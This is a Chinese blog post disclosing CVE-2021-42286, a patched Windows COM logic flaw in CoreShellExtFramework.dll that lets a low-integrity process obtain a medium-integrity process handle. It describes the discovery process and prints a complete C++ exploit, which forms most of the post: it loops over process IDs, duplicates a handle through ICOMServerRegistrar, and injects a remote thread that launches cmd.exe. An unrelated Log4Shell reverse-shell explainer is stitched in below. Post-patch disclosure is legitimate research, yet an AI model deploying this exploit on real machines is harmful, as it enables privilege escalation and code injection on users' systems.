CVE-2021-42286 利用com组件

说明

今天微软补了我报告的第一个漏洞,既然补丁已经发布,我完全可以披露它,同时分享我是怎么找到它的

该错误在2019年就被人报道过,但是这个错误在windows高版本被遗漏
https://www.zerodayinitiative.com/blog/2019/12/19/privilege-escalation-via-the-core-shell-com-registrar-object

挖掘过程

这是一个com组件的逻辑漏洞,在阅读了https://www.tiraniddo.dev/2018/09/后审计找到

博客中提供了两种攻击面,一种是AppContainer到medium,一种是交互式 并且教了如何查找这些接口

我想既然AppContainer到medium算漏洞,那么low到medium应该也行 再加上由于感觉com看的人比较少,索性开始试试

com相关的网址,不想被审:
在这里插入图片描述

漏洞成因

问题文件是CoreShellExtFramework.dll,加载该文件的sihost.exe以medium权限作为服务进程运行,CoreShellExtFramework.dll提供了接口CLSID_CoreShellCOMServerRegistrar,并且这个类可以被Low权限实例化
在这里插入图片描述

反编译下,问题就处在ICOMServerRegistrar上

在这里插入图片描述

ICOMServerRegistrar在ida中对应的名字为CoreShellComServerRegistrar,当时我报告的问题函数是CoreShellComServerRegistrar::OpenProcess,实际上其他方法也有问题,只不过在当时看来比较好利用
在这里插入图片描述

CoreShellComServerRegistrar::OpenProcess如下,其中的DuplicateHandle我们可以控制所有参数,并且CoreShellComServerRegistrar::OpenProcess的参数3也就是a4会被当作进程id,之后会打开这个进程,最后将句柄赋值给hSourceHandle

这将导致我们可以获得一个medium进程的句柄

在这里插入图片描述

关于漏洞利用:一旦我们获得了一个medium进程权限的句柄,那么则可以利用该句柄远程线程代码注入实现提权

exp:

#include <stdio.h>
#include <windows.h>
#include <hstring.h>
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)

using namespace std;

class __declspec(uuid("e3a475cf-34ea-4e9a-9f3e-48ce5c6e4e57")) ITaskCompletionCallback : public IUnknown {
public:
    virtual HRESULT __stdcall Proc3(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ /* ENUM32 */ INT32 p1);
};

class __declspec(uuid("27eb33a5-77f9-4afe-ae05-6fdbbe720ee7")) ICOMServerRegistrar : public IUnknown {
public:
    virtual HRESULT __stdcall Proc3(/* Stack Offset: 8 */ GUID* p0, /* Stack Offset: 16 */ IUnknown* p1, /* Stack Offset: 24 */ INT64* p2);
    virtual HRESULT __stdcall Proc4(/* Stack Offset: 8 */ INT64 p0);
    virtual HRESULT __stdcall Proc5(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64 p1, /* Stack Offset: 24 */ INT64 p2, /* Stack Offset: 32 */ INT64* p3, /* Stack Offset: 40 */ INT64 p4, /* Stack Offset: 48 */ INT64 p5, /* Stack Offset: 56 */ INT64 p6);
    virtual HRESULT __stdcall Proc6(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64 p1, /* Stack Offset: 24 */ INT64 p2, /* Stack Offset: 32 */ INT64 p3, /* Stack Offset: 40 */ INT64* p4);
    virtual HRESULT __stdcall Proc7(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ HSTRING* p1);
    virtual HRESULT __stdcall Proc8(/* Stack Offset: 8 */ HWND p0, /* Stack Offset: 16 */ GUID* p1, /* Stack Offset: 24 */ IUnknown** p2);
    virtual HRESULT __stdcall Proc9(/* Stack Offset: 8 */ HWND p0, /* Stack Offset: 16 */ HWND p1, /* Stack Offset: 24 */ GUID* p2, /* Stack Offset: 32 */ IUnknown** p3);
    virtual HRESULT __stdcall Proc10(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ INT64* p1);
    virtual HRESULT __stdcall Proc11(/* Stack Offset: 8 */ INT64 p0, /* Stack Offset: 16 */ ITaskCompletionCallback* p1, /* Stack Offset: 24 */ /* ENUM32 */ INT32 p2, /* Stack Offset: 32 */ INT64* p3);
    virtual HRESULT __stdcall Proc12(/* Stack Offset: 8 */ INT64 p0);
};

ICOMServerRegistrar* pICOMServerRegistrar;

UUID clsid;

UUID iid;

typedef struct _RemoteParam
{
    CHAR szOperation[NORMAL_LENGTH];
    CHAR szAddrerss[MAX_LENGTH];
    CHAR szLb[NORMAL_LENGTH];
    CHAR szFunc[NORMAL_LENGTH];
    LPVOID dwMLAAdress;
    LPVOID dwMGPAAddress;
    LPVOID dwSEAddress;
}RemoteParam;

DWORD WINAPI ThreadProc(RemoteParam* lprp)
{
    typedef HMODULE(WINAPI* MLoadLibraryA)(IN LPCTSTR lpFileName);

    typedef FARPROC(WINAPI* MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);

    typedef HINSTANCE(WINAPI* MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);

    MLoadLibraryA MLA;

    MGetProcAddress MGPA;

    MShellExecuteA MSE;

    MLA = (MLoadLibraryA)lprp->dwMLAAdress;

    MGPA = (MGetProcAddress)lprp->dwMGPAAddress;

    lprp->dwSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);

    MSE = (MShellExecuteA)lprp->dwSEAddress;

    MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);

    return 0;
}


BOOL InjectProcess(HANDLE hd)
{
    HANDLE hWnd = hd;

    if (!hWnd) return FALSE;

    RemoteParam rp;

    ZeroMemory(&rp, sizeof(RemoteParam));

    rp.dwMLAAdress = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "LoadLibraryA");

    rp.dwMGPAAddress = (LPVOID)GetProcAddress(LoadLibraryA("Kernel32.dll"), "GetProcAddress");

    StringCchCopyA(rp.szLb, sizeof(rp.szLb), "Shell32.dll");

    StringCchCopyA(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");

    StringCchCopyA(rp.szAddrerss, sizeof(rp.szAddrerss), "cmd.exe");

    StringCchCopyA(rp.szOperation, sizeof(rp.szOperation), "open");

    RemoteParam* pRemoteParam = (RemoteParam*)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pRemoteParam) return FALSE;

    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;

    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!pRemoteThread) return FALSE;

    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);

    if (!hThread) return FALSE;

    return TRUE;
}

int main(int argc, char* argv[]) {

    CoInitializeEx(NULL, COINIT_MULTITHREADED);

    CLSIDFromString(L"{54E14197-88B0-442F-B9A3-86837061E2FB}", &clsid);

    IIDFromString(L"{27eb33a5-77f9-4afe-ae05-6fdbbe720ee7}", &iid);

    HANDLE hTargetHandle = 0;

    HRESULT hr = CoCreateInstance(clsid, NULL, CLSCTX_LOCAL_SERVER, iid, (LPVOID*)&pICOMServerRegistrar);

    if (!hr)
    {
        for (size_t i = 0; i < 123456; i++)
        {
            if (!OpenProcess(PROCESS_ALL_ACCESS, FALSE, i))
            {
                pICOMServerRegistrar->Proc6(PROCESS_ALL_ACCESS,
                    FALSE,
                    i,
                    (INT64)GetCurrentProcessId(),
                    (INT64*)&hTargetHandle
                );

                if (hTargetHandle != 0)
                {
                    InjectProcess(hTargetHandle);
                    return 0;
                }
            };
        }
    }
    else
    {
        printf("CoCreateInstance Error %x ", hr);
    }

    return 0;
}

补丁后low权限将无法实例化CLSID_CoreShellCOMServerRegistrar

但是该类仍属于交互式组件,可我在进行尝试发掘时发现不能用于跨会话攻击,因为UlMgrOpenProcessHandleForAccesst里似乎有这样的代码:保证两个进程位于一个会话中

OleViewDotNet.exe查看low可以访问的appid 步骤
在这里插入图片描述

进入界面后点击Accessible然后点击Apply
在这里插入图片描述

弹出对话框设置进程访问完整性
在这里插入图片描述
点击ok,至此,过滤完毕

在这里插入图片描述

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
CVE-2021-44228是一个Apache Log4j 2组件中的严重漏洞,被称为Log4Shell或Log4j RCE。该漏洞允许攻击者通过恶意用户输入触发远程代码执行。当成功利用该漏洞时,攻击者可以在受影响的服务器上执行任意命令,并潜在地获得对系统的完全控制。 要成功执行反弹shell攻击攻击者通常会选择将恶意命令嵌入到受攻击服务器的Log4j配置文件中。恶意命令将在服务器上被执行,从而使攻击者可以与远程恶意控制服务器建立连接,并进一步执行指令。 然而,由于几个因素,可能导致CVE-2021-44228反弹shell不成功: 1. 受攻击的服务器未及时更新修补程序:Log4Shell漏洞的修复需要用户及时更新受影响的Apache Log4j 2组件版本,并更新配置文件以避免受恶意命令执行的风险。如果服务器未更新至修补程序版本,则攻击者仍然可以利用该漏洞访问服务器,但可能会受到其他安全保护措施的限制。 2. 防火墙或安全设备过滤了恶意命令:如果目标服务器上的防火墙或其他安全设备具有适当的规则和策略,它们可能能够检测到并阻止恶意命令的执行,从而防止成功的反弹shell攻击。 3. 受攻击的服务器具有其他安全防护措施:除了及时更新Log4j组件以修复漏洞之外,许多服务器和网络通常采取其他安全措施来保护系统免受非法访问和攻击。这些安全措施可能包括基于IP、用户身份验证或其他类型的访问控制,可能会限制攻击者成功执行反弹shell攻击。 总结来说,CVE-2021-44228反弹shell不成功可能是由于受影响的服务器未及时更新修补程序、防火墙或其他安全设备过滤了恶意命令,或者服务器上具有其他安全防护措施。要解决这个问题,管理员应确保服务器已正确更新修补程序,并配置适当的安全措施来降低受到此类漏洞攻击的风险。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值